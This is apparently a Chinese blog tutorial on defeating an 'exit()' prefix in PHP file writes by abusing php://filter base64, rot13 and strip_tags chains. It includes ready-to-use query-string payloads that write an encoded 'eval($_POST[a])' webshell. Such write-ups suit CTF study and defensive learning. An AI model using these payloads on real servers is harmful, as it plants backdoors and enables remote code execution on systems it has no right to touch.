死亡exit()

伪协议处理时会对过滤器urldecode一次;面对不可用的规则是报个warning,然后跳过继续执行

第一种情况

file_put_contents($filename,"<?php exit();".$content);

base64编码绕过

filename=php://filter/convert.base64-decode/resource=shell.php
content = aPD9waHAgcGhwaW5mbygpOz8+

这里的$_POST[‘filename’]是可以控制协议的

base64绕过

base64编码是使用64个可打印ASCII字符(A-Z,a-z,0-9,+,/)将任意字节序列数据编码成ASCII字符串,另有 “=”符号用作后辍用途

base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码

当$content被加上<?php exit;?>以后,我们可以使用php://filter/write=conver.base64-decode来首先对其解码。在解码的过程中,字符<?;> 空格等一共有7个字符不符和base64编码的字符范围被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。

由于, “ phpexit ”一共7个字符,但是base64算法解码时时4个byte一组,所以我们可以随便给他添加一个字符。这样前边的phpexit加上另一个字符就会被base64解码,然后后边的我们精心构造的base64字符串也会被成功解码为php代码

?filename=php://filter/convert.base64-decode/resource=1.php&content=aPD9waHAgZXZhbCgkX1BPU1RbYV0pOw==

rot13绕过

str_rot13-对字符串执行ROT13转换。ROT13编码简单地使用字母表中后面第13个字母替换当前字母,同时忽略非字符表中的字符。编码和解码都使用相同的函数,传递一个编码过的字符串作为参数,将得到原始字符串

利用php://filter中string,rot13过滤器去除“exit”。string.rot13的特性时编码和解码都是自身完成,利用这一特征可以去除exit。<?php exit;?> 在经过rot13编码后会变成 <?cuc rkvg();?> 不过利用这种手法前提是php不开启short_open_tag/

payload:

?filename=php://filter/write=string.rot13/resource=2.php&content=<?cuc riny($_CBFG[n]);

string.strip_tags

strip_tags— 从字符串中去除 HTML 和 PHP 标记。该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。它使用与函数fgetss()一样的机制去除标记。

  • 1、webshell用base64编码 //为了避免strip_tags的影响
  • 2、调用string.strip_tags //这一步将去除<?php exit; ?>
  • 3、调用convert.base64-decode //这一步将还原base64编码的webshell

payload:

?filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=3.php&content=?>PD9waHAgZXZhbCgkX1BPU1RbYV0pOw==


https://woshilnp.github.io/2021/05/23/%E8%AF%A6%E8%A7%A3php-filter%E4%BB%A5%E5%8F%8A%E6%AD%BB%E4%BA%A1%E7%BB%95%E8%BF%87/#php-filter
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值